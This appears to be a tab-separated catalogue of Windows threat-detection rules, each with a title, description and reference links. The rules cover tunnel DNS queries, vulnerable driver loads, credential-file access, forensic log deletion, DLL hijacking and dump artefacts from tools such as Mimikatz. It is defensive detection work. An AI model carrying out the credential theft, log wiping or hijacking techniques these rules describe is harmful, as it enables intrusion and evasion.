Cloudflared Tunnels Related DNS Requests	Detects DNS requests to Cloudflared tunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://www.guidepointsecurity.com/blog/tunnel-vision-cloudflared-abused-in-the-wild/, Internal Research
DNS Query To Devtunnels Domain	Detects DNS query requests to Devtunnels domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2, https://learn.microsoft.com/en-us/azure/developer/dev-tunnels/security, https://cydefops.com/devtunnels-unleashed
DNS Query To AzureWebsites.NET By Non-Browser Process	Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.	https://www.sentinelone.com/labs/wip26-espionage-threat-actors-abuse-cloud-infrastructure-in-targeted-telco-attacks/, https://symantec-enterprise-blogs.security.com/threat-intelligence/harvester-new-apt-attacks-asia, https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/, https://intezer.com/blog/research/how-we-escaped-docker-in-azure-functions/
DNS Server Discovery Via LDAP Query	Detects DNS server discovery via LDAP query requests from uncommon applications	https://github.com/redcanaryco/atomic-red-team/blob/980f3f83fd81f37c1ca9c02dccfd1c3d9f9d0841/atomics/T1016/T1016.md#atomic-test-9---dns-server-discovery-using-nslookup, https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/7fcdce70-5205-44d6-9c3a-260e616a2f04
DNS HybridConnectionManager Service Bus	Detects Azure Hybrid Connection Manager services querying the Azure service bus service	https://twitter.com/Cyb3rWard0g/status/1381642789369286662
Suspicious Cobalt Strike DNS Beaconing - Sysmon	Detects a program that invoked suspicious DNS queries known from Cobalt Strike beacons	https://www.icebrg.io/blog/footprints-of-fin7-tracking-actor-patterns, https://www.sekoia.io/en/hunting-and-detecting-cobalt-strike/
DNS Query To MEGA Hosting Website	Detects DNS queries for subdomains related to MEGA sharing website	https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/
DNS Query Request By QuickAssist.EXE	Detects DNS queries initiated by "QuickAssist.exe" to Microsoft Quick Assist primary endpoint that is used to establish a session.	https://www.microsoft.com/en-us/security/blog/2024/05/15/threat-actors-misusing-quick-assist-in-social-engineering-attacks-leading-to-ransomware/, https://www.linkedin.com/posts/kevin-beaumont-security_ive-been-assisting-a-few-orgs-hit-with-successful-activity-7268055739116445701-xxjZ/, https://x.com/cyb3rops/status/1862406110365245506, https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist
DNS Query Request To OneLaunch Update Service	Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.	https://www.malwarebytes.com/blog/detections/pup-optional-onelaunch-silentcf, https://www.myantispyware.com/2020/12/14/how-to-uninstall-onelaunch-browser-removal-guide/, https://malware.guide/browser-hijacker/remove-onelaunch-virus/
DNS Query Request By Regsvr32.EXE	Detects DNS queries initiated by "Regsvr32.exe"	https://pentestlab.blog/2017/05/11/applocker-bypass-regsvr32/, https://oddvar.moe/2017/12/13/applocker-case-study-how-insecure-is-it-really-part-1/
DNS Query To Remote Access Software Domain From Non-Browser App	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-3---logmein-files-detected-test-on-windows, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-6---ammyy-admin-software-execution, https://redcanary.com/blog/misbehaving-rats/, https://techcommunity.microsoft.com/t5/microsoft-sentinel-blog/hunting-for-omi-vulnerability-exploitation-with-azure-sentinel/ba-p/2764093, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a, https://blog.sekoia.io/scattered-spider-laying-new-eggs/, https://learn.microsoft.com/en-us/windows/client-management/client-tools/quick-assist#disable-quick-assist-within-your-organization
Suspicious DNS Query for IP Lookup Service APIs	Detects DNS queries for IP lookup services such as "api.ipify.org" originating from a non browser process.	https://www.binarydefense.com/analysis-of-hancitor-when-boring-begets-beacon, https://twitter.com/neonprimetime/status/1436376497980428318, https://www.trendmicro.com/en_us/research/23/e/managed-xdr-investigation-of-ducktail-in-trend-micro-vision-one.html
TeamViewer Domain Query By Non-TeamViewer Application	Detects DNS queries to a TeamViewer domain only resolved by a TeamViewer client by an image that isn't named TeamViewer (sometimes used by threat actors for obfuscation)	https://www.teamviewer.com/en-us/
DNS Query Tor .Onion Address - Sysmon	Detects DNS queries to an ".onion" address related to Tor routing networks	https://www.logpoint.com/en/blog/detecting-tor-use-with-logpoint/
DNS Query To Ufile.io	Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration	https://thedfirreport.com/2021/12/13/diavol-ransomware/
DNS Query To Visual Studio Code Tunnels Domain	Detects DNS query requests to Visual Studio Code tunnel domains. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.	https://ipfyx.fr/post/visual-studio-code-tunnel/, https://badoption.eu/blog/2023/01/31/code_c2.html, https://cydefops.com/vscode-data-exfiltration
Malicious Driver Load	Detects loading of known malicious drivers via their hash.	https://loldrivers.io/
PUA - System Informer Driver Load	Detects driver load of the System Informer tool	https://systeminformer.sourceforge.io/, https://github.com/winsiderss/systeminformer
Malicious Driver Load By Name	Detects loading of known malicious drivers via the file name of the drivers.	https://loldrivers.io/
Driver Load From A Temporary Directory	Detects a driver load from a temporary directory	Internal Research
PUA - Process Hacker Driver Load	Detects driver load of the Process Hacker tool	https://processhacker.sourceforge.io/
Vulnerable Driver Load By Name	Detects the load of known vulnerable drivers via the file name of the drivers.	https://loldrivers.io/
Vulnerable HackSys Extreme Vulnerable Driver Load	Detects the load of HackSys Extreme Vulnerable Driver which is an intentionally vulnerable Windows driver developed for security enthusiasts to learn and polish their exploitation skills at Kernel level and often abused by threat actors	https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
Vulnerable WinRing0 Driver Load	Detects the load of a signed WinRing0 driver often used by threat actors, crypto miners (XMRIG) or malware for privilege escalation	https://github.com/xmrig/xmrig/tree/master/bin/WinRing0, https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/
WinDivert Driver Load	Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows	https://reqrypt.org/windivert-doc.html, https://rastamouse.me/ntlm-relaying-via-cobalt-strike/
Vulnerable Driver Load	Detects loading of known vulnerable drivers via their hash.	https://loldrivers.io/
Credential Manager Access By Uncommon Applications	Detects suspicious processes based on name and location that access the windows credential manager and vault. Which can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::cred" function	https://hunter2.gitbook.io/darthsidious/privilege-escalation/mimikatz, https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
Access To Crypto Currency Wallets By Uncommon Applications	Detects file access requests to crypto currency files by uncommon processes. Could indicate potential attempt of crypto currency wallet stealing.	Internal Research
Access To Windows Credential History File By Uncommon Applications	Detects file access requests to the Windows Credential History File by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::credhist" function	https://tools.thehacker.recipes/mimikatz/modules/dpapi/credhist, https://www.passcape.com/windows_password_recovery_dpapi_credhist
Access To Windows DPAPI Master Keys By Uncommon Applications	Detects file access requests to the the Windows Data Protection API Master keys by an uncommon application. This can be a sign of credential stealing. Example case would be usage of mimikatz "dpapi::masterkey" function	http://blog.harmj0y.net/redteaming/operational-guidance-for-offensive-user-dpapi-abuse/, https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords
Access To Potentially Sensitive Sysvol Files By Uncommon Applications	Detects file access requests to potentially sensitive files hosted on the Windows Sysvol share.	https://github.com/vletoux/pingcastle
Microsoft Teams Sensitive File Access By Uncommon Applications	Detects file access attempts to sensitive Microsoft teams files (leveldb, cookies) by an uncommon process.	https://www.bleepingcomputer.com/news/security/microsoft-teams-stores-auth-tokens-as-cleartext-in-windows-linux-macs/, https://www.vectra.ai/blog/undermining-microsoft-teams-security-by-mining-tokens
File Creation Date Changed to Another Year	Attackers may change the file creation time of a backdoor to make it look like it was installed with the operating system. Note that many processes legitimately change the creation time of a file; it does not necessarily indicate malicious activity.	https://www.inversecos.com/2022/04/defence-evasion-technique-timestomping.html
Unusual File Modification by dns.exe	Detects an unexpected file being modified by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)	https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns-exe.html
Potential PrintNightmare Exploitation Attempt	Detect DLL deletions from Spooler Service driver folder. This might be a potential exploitation attempt of CVE-2021-1675	https://web.archive.org/web/20210629055600/https://github.com/hhlxf/PrintNightmare/, https://github.com/cube0x0/CVE-2021-1675
Backup Files Deleted	Detects deletion of files with extensions often used for backup files. Adversaries may delete or remove built-in operating system data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-6---windows---delete-backup-files
EventLog EVTX File Deleted	Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence	Internal Research
Exchange PowerShell Cmdlet History Deleted	Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence	https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
Process Deletion of Its Own Executable	Detects the deletion of a process's executable by itself. This is usually not possible without workarounds and may be used by malware to hide its traces.	https://github.com/joaoviictorti/RustRedOps/tree/ce04369a246006d399e8c61d9fe0e6b34f988a49/Self_Deletion
IIS WebServer Access Logs Deleted	Detects the deletion of IIS WebServer access logs which may indicate an attempt to destroy forensic evidence	https://www.elastic.co/guide/en/security/current/webserver-access-logs-deleted.html
PowerShell Console History Logs Deleted	Detects the deletion of the PowerShell console History logs which may indicate an attempt to destroy forensic evidence	Internal Research
Prefetch File Deleted	Detects the deletion of a prefetch file which may indicate an attempt to destroy forensic evidence	Internal Research, https://www.group-ib.com/blog/hunting-for-ttps-with-prefetch-files/
TeamViewer Log File Deleted	Detects the deletion of the TeamViewer log files which may indicate an attempt to destroy forensic evidence	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md
Tomcat WebServer Logs Deleted	Detects the deletion of tomcat WebServer logs which may indicate an attempt to destroy forensic evidence	Internal Research, https://linuxhint.com/view-tomcat-logs-windows/
File Deleted Via Sysinternals SDelete	Detects the deletion of files by the Sysinternals SDelete utility. It looks for the common name pattern used to rename files.	https://github.com/OTRF/detection-hackathon-apt29/issues/9, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/4.B.4_83D62033-105A-4A02-8B75-DAB52D8D51EC.md
Unusual File Deletion by Dns.exe	Detects an unexpected file being deleted by dns.exe which my indicate activity related to remote code execution or other forms of exploitation as seen in CVE-2020-1350 (SigRed)	https://www.elastic.co/guide/en/security/current/unusual-file-modification-by-dns-exe.html
ADS Zone.Identifier Deleted By Uncommon Application	Detects the deletion of the "Zone.Identifier" ADS by an uncommon process. Attackers can leverage this in order to bypass security restrictions that make use of the ADS such as Microsoft Office apps.	https://securityliterate.com/how-malware-abuses-the-zone-identifier-to-circumvent-detection-and-analysis/, Internal Research
ADSI-Cache File Creation By Uncommon Tool	Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool.	https://medium.com/@ivecodoe/detecting-ldapfragger-a-newly-released-cobalt-strike-beacon-using-ldap-for-c2-communication-c274a7f00961, https://blog.fox-it.com/2020/03/19/ldapfragger-command-and-control-over-ldap-attributes/, https://github.com/fox-it/LDAPFragger
Advanced IP Scanner - File Event	Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.	https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/, https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html, https://labs.f-secure.com/blog/prelude-to-ransomware-systembc, https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf, https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer
Suspicious Binary Writes Via AnyDesk	Detects AnyDesk writing binary files to disk other than "gcapi.dll". According to RedCanary research it is highly abnormal for AnyDesk to write executable files to disk besides gcapi.dll, which is a legitimate DLL that is part of the Google Chrome web browser used to interact with the Google Cloud API. (See reference section for more details)	https://redcanary.com/blog/misbehaving-rats/
Anydesk Temporary Artefact	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-2---anydesk-files-detected-test-on-windows
Assembly DLL Creation Via AspNetCompiler	Detects the creation of new DLL assembly files by "aspnet_compiler.exe", which could be a sign of "aspnet_compiler" abuse to proxy execution through a build provider.	Internal Research
BloodHound Collection Files	Detects default file names outputted by the BloodHound collection tool SharpHound	https://academy.hackthebox.com/course/preview/active-directory-bloodhound/bloodhound--data-collection
EVTX Created In Uncommon Location	Detects the creation of new files with the ".evtx" extension in non-common or non-standard location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting.	https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key
Creation Of Non-Existent System DLL	Detects the creation of system DLLs that are usually not present on the system (or at least not in system directories). Usually this technique is used to achieve DLL hijacking.	https://decoded.avast.io/martinchlumecky/png-steganography/, https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992, https://clement.notin.org/blog/2020/09/12/CVE-2020-7315-McAfee-Agent-DLL-injection/, https://github.com/Wh04m1001/SysmonEoP, https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/, https://github.com/blackarrowsec/redteam-research/tree/26e6fc0c0d30d364758fa11c2922064a9a7fd309/LPE%20via%20StorSvc
New Custom Shim Database Created	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-2---new-shim-database-files-created-in-the-default-shim-database-directory, https://www.mandiant.com/resources/blog/fin7-shim-databases-persistence, https://liberty-shell.com/sec/2020/02/25/shim-persistence/, https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
Suspicious Screensaver Binary File Creation	Adversaries may establish persistence by executing malicious content triggered by user inactivity. Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.002/T1546.002.md
Files With System DLL Name In Unsuspected Locations	Detects the creation of a file with the ".dll" extension that has the name of a System DLL in uncommon or unsuspected locations. (Outisde of "System32", "SysWOW64", etc.). It is highly recommended to perform an initial baseline before using this rule in production.	Internal Research
Files With System Process Name In Unsuspected Locations	Detects the creation of an executable with a system process name in folders other than the system ones (System32, SysWOW64, etc.). It is highly recommended to perform an initial baseline before using this rule in production.	Internal Research
Creation Exe for Service with Unquoted Path	Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.009/T1574.009.md
Cred Dump Tools Dropped Files	Files with well-known filenames (parts of credential dump software or files produced by them) creation	https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
WScript or CScript Dropper - File	Detects a file ending in jse, vbe, js, vba, vbs written by cscript.exe or wscript.exe	WScript or CScript Dropper (cea72823-df4d-4567-950c-0b579eaf0846)
Dynamic CSharp Compile Artefact	When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027.004/T1027.004.md#atomic-test-2---dynamic-c-compile
CSExec Service File Creation	Detects default CSExec service filename which indicates CSExec service installation and execution	https://github.com/malcomvetter/CSExec
Potential DCOM InternetExplorer.Application DLL Hijack	Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class over the network	https://threathunterplaybook.com/hunts/windows/201009-RemoteDCOMIErtUtilDLLHijack/notebook.html
DLL Search Order Hijackig Via Additional Space in Path	Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack	https://twitter.com/cyb3rops/status/1552932770464292864, https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows
Potentially Suspicious DMP/HDMP File Creation	Detects the creation of a file with the ".dmp"/".hdmp" extension by a shell or scripting application such as "cmd", "powershell", etc. Often created by software during a crash. Memory dumps can sometimes contain sensitive information such as credentials. It's best to determine the source of the crash.	https://learn.microsoft.com/en-us/windows/win32/wer/collecting-user-mode-dumps
Potential Persistence Attempt Via ErrorHandler.Cmd	Detects creation of a file named "ErrorHandler.cmd" in the "C:\WINDOWS\Setup\Scripts\" directory which could be used as a method of persistence The content of C:\WINDOWS\Setup\Scripts\ErrorHandler.cmd is read whenever some tools under C:\WINDOWS\System32\oobe\ (e.g. Setup.exe) fail to run for any reason.	https://www.hexacorn.com/blog/2022/01/16/beyond-good-ol-run-key-part-135/, https://github.com/last-byte/PersistenceSniper
Suspicious ASPX File Drop by Exchange	Detects suspicious file type dropped by an Exchange component in IIS into a suspicious folder	https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/, https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html, https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
Suspicious File Drop by Exchange	Detects suspicious file type dropped by an Exchange component in IIS	https://www.microsoft.com/security/blog/2022/09/30/analyzing-attacks-using-the-exchange-vulnerabilities-cve-2022-41040-and-cve-2022-41082/, https://www.gteltsc.vn/blog/canh-bao-chien-dich-tan-cong-su-dung-lo-hong-zero-day-tren-microsoft-exchange-server-12714.html, https://en.gteltsc.vn/blog/cap-nhat-nhe-ve-lo-hong-bao-mat-0day-microsoft-exchange-dang-duoc-su-dung-de-tan-cong-cac-to-chuc-tai-viet-nam-9685.html
GoToAssist Temporary Installation Artefact	An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be allowed by application control within a target environment. Remote access tools like VNC, Ammyy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-4---gotoassist-files-detected-test-on-windows
HackTool - CrackMapExec File Indicators	Detects file creation events with filename patterns used by CrackMapExec.	https://github.com/byt3bl33d3r/CrackMapExec/
HackTool - Typical HiveNightmare SAM File Export	Detects files written by the different tools that exploit HiveNightmare	https://github.com/GossiTheDog/HiveNightmare, https://github.com/FireFart/hivenightmare/, https://github.com/WiredPulse/Invoke-HiveNightmare, https://twitter.com/cube0x0/status/1418920190759378944
HackTool - Dumpert Process Dumper Default File	Detects the creation of the default dump file used by Outflank Dumpert tool. A process dumper, which dumps the lsass process memory	https://github.com/outflanknl/Dumpert, https://unit42.paloaltonetworks.com/actors-still-exploiting-sharepoint-vulnerability/
HackTool - Inveigh Execution Artefacts	Detects the presence and execution of Inveigh via dropped artefacts	https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Output.cs, https://github.com/Kevin-Robertson/Inveigh/blob/29d9e3c3a625b3033cdaf4683efaafadcecb9007/Inveigh/Support/Control.cs, https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/
HackTool - Mimikatz Kirbi File Creation	Detects the creation of files created by mimikatz such as ".kirbi", "mimilsa.log", etc.	https://cobalt.io/blog/kerberoast-attack-techniques, https://pentestlab.blog/2019/10/21/persistence-security-support-provider/
HackTool - RemoteKrbRelay SMB Relay Secrets Dump Module Indicators	Detects the creation of file with specific names used by RemoteKrbRelay SMB Relay attack module.	https://github.com/CICADA8-Research/RemoteKrbRelay/blob/19ec76ba7aa50c2722b23359bc4541c0a9b2611c/Exploit/RemoteKrbRelay/Relay/Attacks/RemoteRegistry.cs#L31-L40
HackTool - NPPSpy Hacktool Usage	Detects the use of NPPSpy hacktool that stores cleartext passwords of users that logged in to a local file	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md#atomic-test-2---credential-dumping-with-nppspy, https://twitter.com/0gtweet/status/1465282548494487554
HackTool - Powerup Write Hijack DLL	Powerup tool's Write Hijack DLL exploits DLL hijacking for privilege escalation. In it's default mode, it builds a self deleting .bat file which executes malicious command. The detection rule relies on creation of the malicious bat file (debug.bat by default).	https://powersploit.readthedocs.io/en/latest/Privesc/Write-HijackDll/
HackTool - QuarksPwDump Dump File	Detects a dump file written by QuarksPwDump password dumper	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/QuarksPWDump.htm
HackTool - Potential Remote Credential Dumping Activity Via CrackMapExec Or Impacket-Secretsdump	Detects default filenames output from the execution of CrackMapExec and Impacket-secretsdump against an endpoint.	https://github.com/Porchetta-Industries/CrackMapExec, https://github.com/SecureAuthCorp/impacket/blob/master/examples/secretsdump.py
HackTool - SafetyKatz Dump Indicator	Detects default lsass dump filename generated by SafetyKatz.	https://github.com/GhostPack/SafetyKatz, https://github.com/GhostPack/SafetyKatz/blob/715b311f76eb3a4c8d00a1bd29c6cd1899e450b7/SafetyKatz/Program.cs#L63
Potential Initial Access via DLL Search Order Hijacking	Detects attempts to create a DLL file to a known desktop application dependencies folder such as Slack, Teams or OneDrive and by an unusual process. This may indicate an attempt to load a malicious module via DLL search order hijacking.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-5d46dd4ac6866b4337ec126be8cee0e115467b3e8703794ba6f6df6432c806bc, https://posts.specterops.io/automating-dll-hijack-discovery-81c4295904b0
Installation of TeamViewer Desktop	TeamViewer_Desktop.exe is create during install	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1219/T1219.md#atomic-test-1---teamviewer-files-detected-test-on-windows
Malicious DLL File Dropped in the Teams or OneDrive Folder	Detects creation of a malicious DLL file in the location where the OneDrive or Team applications Upon execution of the Teams or OneDrive application, the dropped malicious DLL file ("iphlpapi.dll") is sideloaded	https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/
ISO File Created Within Temp Folders	Detects the creation of a ISO file in the Outlook temp folder or in the Appdata temp folder. Typical of Qakbot TTP from end-July 2022.	https://twitter.com/Sam0x90/status/1552011547974696960, https://securityaffairs.co/wordpress/133680/malware/dll-sideloading-spread-qakbot.html, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1553.005/T1553.005.md#atomic-test-1---mount-iso-image
ISO or Image Mount Indicator in Recent Files	Detects the creation of recent element file that points to an .ISO, .IMG, .VHD or .VHDX file as often used in phishing attacks. This can be a false positive on server systems but on workstations users should rarely mount .iso or .img files.	https://www.microsoft.com/security/blog/2021/05/27/new-sophisticated-email-based-attack-from-nobelium/, https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/malicious-spam-campaign-uses-iso-image-files-to-deliver-lokibot-and-nanocore, https://blog.emsisoft.com/en/32373/beware-new-wave-of-malware-spreads-via-iso-file-email-attachments/, https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/
GatherNetworkInfo.VBS Reconnaissance Script Output	Detects creation of files which are the results of executing the built-in reconnaissance script "C:\Windows\System32\gatherNetworkInfo.vbs".	https://posts.slayerlabs.com/living-off-the-land/#gathernetworkinfovbs, https://www.mandiant.com/resources/blog/trojanized-windows-installers-ukrainian-government
LSASS Process Memory Dump Files	Detects creation of files with names used by different memory dumping tools to create a memory dump of the LSASS process memory, which contains user credentials.	https://www.google.com/search?q=procdump+lsass, https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf, https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/credential_access_lsass_memdump_file_created.toml, https://www.whiteoaksecurity.com/blog/attacks-defenses-dumping-lsass-no-mimikatz/, https://github.com/helpsystems/nanodump, https://github.com/CCob/MirrorDump, https://github.com/safedv/RustiveDump/blob/1a9b026b477587becfb62df9677cede619d42030/src/main.rs#L35, https://github.com/ricardojoserf/NativeDump/blob/01d8cd17f31f51f5955a38e85cd3c83a17596175/NativeDump/Program.cs#L258
LSASS Process Dump Artefact In CrashDumps Folder	Detects the presence of an LSASS dump file in the "CrashDumps" folder. This could be a sign of LSASS credential dumping. Techniques such as the LSASS Shtinkering have been seen abusing the Windows Error Reporting to dump said process.	https://github.com/deepinstinct/Lsass-Shtinkering, https://media.defcon.org/DEF%20CON%2030/DEF%20CON%2030%20presentations/Asaf%20Gilboa%20-%20LSASS%20Shtinkering%20Abusing%20Windows%20Error%20Reporting%20to%20Dump%20LSASS.pdf
WerFault LSASS Process Memory Dump	Detects WerFault creating a dump file with a name that indicates that the dump file could be an LSASS process memory, which contains user credentials	https://github.com/helpsystems/nanodump
Octopus Scanner Malware	Detects Octopus Scanner Malware.	https://securitylab.github.com/research/octopus-scanner-malware-open-source-supply-chain
Adwind RAT / JRAT File Artifact	Detects javaw.exe in AppData folder as used by Adwind / JRAT	https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100, https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf
File Creation In Suspicious Directory By Msdt.EXE	Detects msdt.exe creating files in suspicious directories which could be a sign of exploitation of either Follina or Dogwalk vulnerabilities	https://irsl.medium.com/the-trouble-with-microsofts-troubleshooters-6e32fc80b8bd, https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
Uncommon File Creation By Mysql Daemon Process	Detects the creation of files with scripting or executable extensions by Mysql daemon. Which could be an indicator of "User Defined Functions" abuse to download malware.	https://asec.ahnlab.com/en/58878/, https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-mysql-malware-infection-via-user-defined-functions-udf/
Suspicious DotNET CLR Usage Log Artifact	Detects the creation of Usage Log files by the CLR (clr.dll). These files are named after the executing process once the assembly is finished executing for the first time in the (user) session context.	https://bohops.com/2021/03/16/investigating-net-clr-usage-log-tampering-techniques-for-edr-evasion/, https://github.com/olafhartong/sysmon-modular/blob/fa1ae53132403d262be2bbd7f17ceea7e15e8c78/11_file_create/include_dotnet.xml, https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b02f7f394f5187f008, https://web.archive.org/web/20230329154538/https://blog.menasec.net/2019/07/interesting-difr-traces-of-net-clr.html
Suspicious File Creation In Uncommon AppData Folder	Detects the creation of suspicious files and folders inside the user's AppData folder but not inside any of the common and well known directories (Local, Romaing, LocalLow). This method could be used as a method to bypass detection who exclude the AppData folder in fear of FPs	Internal Research
SCR File Write Event	Detects the creation of screensaver files (.scr) outside of system folders. Attackers may execute an application as an ".SCR" file using "rundll32.exe desk.cpl,InstallScreenSaver" for example.	https://lolbas-project.github.io/lolbas/Libraries/Desk/
Potential Persistence Via Notepad++ Plugins	Detects creation of new ".dll" files inside the plugins directory of a notepad++ installation by a process other than "gup.exe". Which could indicates possible persistence	https://pentestlab.blog/2022/02/14/persistence-notepad-plugins/
NTDS.DIT Created	Detects creation of a file named "ntds.dit" (Active Directory Database)	Internal Research
